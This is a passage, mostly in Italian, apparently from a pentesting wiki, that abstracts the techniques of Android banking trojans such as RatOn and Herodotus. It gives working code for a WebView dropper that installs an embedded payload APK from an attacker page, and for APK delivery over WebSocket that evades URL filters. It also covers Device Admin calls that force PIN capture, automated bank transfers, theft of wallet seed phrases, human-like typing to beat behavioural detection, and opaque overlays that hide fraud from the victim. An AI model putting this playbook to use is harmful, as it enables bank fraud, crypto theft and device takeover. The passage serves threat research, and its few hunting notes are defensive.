// Accumulate binary chunks and drive fake Play progress UI const chunks = []; socket.on(“chunk”, (chunk) => chunks.push(chunk)); socket.on(“downloadProgress”, (p) => updateProgressBar(p));

// Assemble APK client‑side and trigger browser save dialog socket.on(“downloadComplete”, () => { const blob = new Blob(chunks, { type: “application/vnd.android.package-archive” }); const url = URL.createObjectURL(blob); const a = document.createElement(“a”); a.href = url; a.download = “app.apk”; a.style.display = “none”; document.body.appendChild(a); a.click(); });

</details>

Perché elude i controlli semplici:
- Nessun URL APK statico è esposto; il payload viene ricostruito in memoria dai frame WebSocket.
- I filtri URL/MIME/estensione che bloccano risposte .apk dirette possono non rilevare dati binari veicolati tramite WebSockets/Socket.IO.
- I crawler e le sandbox URL che non eseguono WebSockets non recupereranno il payload.

Vedi anche WebSocket tradecraft e tooling:

<a class="content_ref" href="../../pentesting-web/websocket-attacks.md"><span class="content_ref_label">WebSocket Attacks</span></a>


## Abuso Android Accessibility/Overlay e Device Admin, automazione ATS e orchestrazione relay NFC – caso di studio RatOn

La campagna RatOn banker/RAT (ThreatFabric) è un esempio concreto di come le moderne operazioni di mobile phishing combinino WebView droppers, Accessibility-driven UI automation, overlays/ransom, coercizione tramite Device Admin, Automated Transfer System (ATS), takeover di crypto wallet e perfino NFC-relay orchestration. Questa sezione astrae le tecniche riutilizzabili.

### Stage-1: WebView → bridge di installazione nativo (dropper)
Gli attacker presentano una WebView che punta a una pagina attacker e iniettano un'interfaccia JavaScript che espone un installer nativo. Un tap su un bottone HTML richiama il codice nativo che installa un APK di seconda fase incluso negli assets del dropper e lo avvia direttamente.

Schema minimo:

<details>
<summary>Pattern minimo dropper Stage-1 (Java)</summary>
```java
public class DropperActivity extends Activity {
@Override protected void onCreate(Bundle b){
super.onCreate(b);
WebView wv = new WebView(this);
wv.getSettings().setJavaScriptEnabled(true);
wv.addJavascriptInterface(new Object(){
@android.webkit.JavascriptInterface
public void installApk(){
try {
PackageInstaller pi = getPackageManager().getPackageInstaller();
PackageInstaller.SessionParams p = new PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL);
int id = pi.createSession(p);
try (PackageInstaller.Session s = pi.openSession(id);
InputStream in = getAssets().open("payload.apk");
OutputStream out = s.openWrite("base.apk", 0, -1)){
byte[] buf = new byte[8192]; int r; while((r=in.read(buf))>0){ out.write(buf,0,r);} s.fsync(out);
}
PendingIntent status = PendingIntent.getBroadcast(this, 0, new Intent("com.evil.INSTALL_DONE"), PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_IMMUTABLE);
pi.commit(id, status.getIntentSender());
} catch (Exception e) { /* log */ }
}
}, "bridge");
setContentView(wv);
wv.loadUrl("https://attacker.site/install.html");
}
}

HTML sulla pagina:

<button onclick="bridge.installApk()">Install</button>

Dopo l’installazione, il dropper avvia il payload tramite package/activity esplicito:

Intent i = new Intent();
i.setClassName("com.stage2.core", "com.stage2.core.MainActivity");
startActivity(i);

Hunting idea: app non attendibili che chiamano addJavascriptInterface() ed espongono metodi simili a installer a WebView; APK che include un payload secondario incorporato sotto assets/ e invoca la Package Installer Session API.

Consent funnel: Accessibility + Device Admin + follow-on runtime prompts

Stage-2 apre un WebView che ospita una pagina “Access”. Il suo pulsante invoca un metodo esportato che porta la vittima nelle impostazioni Accessibility e richiede l’abilitazione del servizio malevolo. Una volta concesso, il malware usa Accessibility per effettuare automaticamente click attraverso i successivi dialog di permesso runtime (contatti, overlay, gestione impostazioni di sistema, ecc.) e richiede Device Admin.

• Accessibility aiuta programmaticamente ad accettare prompt successivi trovando pulsanti come “Allow”/“OK” nell’albero dei nodi e inviando click.
• Overlay permission check/request:

if (!Settings.canDrawOverlays(ctx)) {
Intent i = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION,
Uri.parse("package:" + ctx.getPackageName()));
ctx.startActivity(i);
}

Vedi anche:

Accessibility Services Abuse

Overlay phishing/ransom via WebView

Gli operatori possono inviare comandi per:

• renderizzare un overlay a schermo intero da un URL, o
• inviare HTML inline che viene caricato in un overlay WebView.

Usi probabili: coercizione (inserimento PIN), apertura del wallet per catturare i PIN, messaggistica di riscatto. Tenere un comando per verificare che l’autorizzazione overlay sia concessa se manca.

Remote control model – text pseudo-screen + screen-cast

• Bassa banda: eseguire periodicamente il dump dell’albero di nodi Accessibility, serializzare i testi/ruoli/bounds visibili e inviarli al C2 come pseudo-schermo (comandi come txt_screen una tantum e screen_live in continuo).
• Alta fedeltà: richiedere MediaProjection e avviare screen-casting/recording su richiesta (comandi come display / record).

ATS playbook (automazione app bancarie)

Dato un task JSON, aprire l’app bancaria, guidare la UI tramite Accessibility con un mix di query testuali e tap su coordinate, e inserire il payment PIN della vittima quando richiesto.

Esempio di task:

{
"cmd": "transfer",
"receiver_address": "ACME s.r.o.",
"account": "123456789/0100",
"amount": "24500.00",
"name": "ACME"
}

Esempi di testi visti in un flusso target (CZ → EN):

• “Nová platba” → “Nuovo pagamento”
• “Zadat platbu” → “Inserisci pagamento”
• “Nový příjemce” → “Nuovo beneficiario”
• “Domácí číslo účtu” → “Numero di conto domestico”
• “Další” → “Avanti”
• “Odeslat” → “Invia”
• “Ano, pokračovat” → “Sì, continua”
• “Zaplatit” → “Paga”
• “Hotovo” → “Fatto”

Operators can also check/raise transfer limits via commands like check_limit and limit that navigate the limits UI similarly.

Estrazione della seed dai wallet crypto

Obiettivi come MetaMask, Trust Wallet, Blockchain.com, Phantom. Flusso: sbloccare (PIN rubato o password fornita), navigare in Sicurezza/Recupero, rivelare/mostrare seed phrase, keylog/exfiltrate it. Implementare selettori sensibili alla localizzazione (EN/RU/CZ/SK) per stabilizzare la navigazione tra le lingue.

Coercizione Device Admin

Device Admin APIs are used to increase PIN-capture opportunities and frustrate the victim:

• Blocco immediato:

dpm.lockNow();

• Far scadere la credenziale corrente per forzare la modifica (Accessibility cattura il nuovo PIN/password):

dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner

• Forzare lo sblocco non biometrico disabilitando le funzionalità biometriche del keyguard:

dpm.setKeyguardDisabledFeatures(admin,
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);

Nota: Molti controlli di DevicePolicyManager richiedono Device Owner/Profile Owner sulle versioni recenti di Android; alcune build OEM possono essere permissive. Verificare sempre sul target OS/OEM.

NFC relay orchestration (NFSkate)

Stage-3 può installare e avviare un modulo NFC-relay esterno (es., NFSkate) e persino passargli un template HTML per guidare la vittima durante il relay. Questo abilita cash-out contactless card-present insieme ad ATS online.

Contesto: NFSkate NFC relay.

Operator command set (sample)

• UI/stato: txt_screen, screen_live, display, record
• Social: send_push, Facebook, WhatsApp
• Sovrapposizioni: overlay (inline HTML), block (URL), block_off, access_tint
• Wallets: metamask, trust, blockchain, phantom
• ATS: transfer, check_limit, limit
• Dispositivo: lock, expire_password, disable_keyguard, home, back, recents, power, touch, swipe, keypad, tint, sound_mode, set_sound
• Comms/Recon: update_device, send_sms, replace_buffer, get_name, add_contact
• NFC: nfs, nfs_inject

Accessibility-driven ATS anti-detection: human-like text cadence and dual text injection (Herodotus)

Gli attori della minaccia mixano sempre più l’automazione basata su Accessibility con anti-detection tarati contro semplici biometrie comportamentali. Un recente banker/RAT presenta due modalità complementari di invio testo e un toggle per l’operatore per simulare la digitazione umana con cadenza randomizzata.

• Modalità Discovery: enumerare i nodi visibili con selector e bounds per mirare con precisione gli input (ID, text, contentDescription, hint, bounds) prima di agire.
• Doppia iniezione di testo:
• Modalità 1 – ACTION_SET_TEXT direttamente sul nodo target (stabile, senza tastiera);
• Modalità 2 – impostazione della clipboard + ACTION_PASTE nel nodo focalizzato (funziona quando il setText diretto è bloccato).
• Cadenza simile a umana: suddividere la stringa fornita dall’operatore e inviarla carattere per carattere con ritardi randomizzati di 300–3000 ms tra gli eventi per eludere le euristiche di “machine-speed typing”. Implementato o crescendo progressivamente il valore via ACTION_SET_TEXT, o incollando un carattere alla volta.

</details>

Overlay di blocco per copertura di frode:
- Renderizzare un full-screen `TYPE_ACCESSIBILITY_OVERLAY` con opacità controllata dall'operatore; mantenerlo opaco per la vittima mentre l'automazione remota procede sotto.
- Comandi tipicamente esposti: `opacityOverlay <0..255>`, `sendOverlayLoading <html/url>`, `removeOverlay`.

Overlay minimo con alpha regolabile:
```java
View v = makeOverlayView(ctx); v.setAlpha(0.92f); // 0..1
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
WindowManager.LayoutParams.TYPE_ACCESSIBILITY_OVERLAY,
WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL,
PixelFormat.TRANSLUCENT);
wm.addView(v, lp);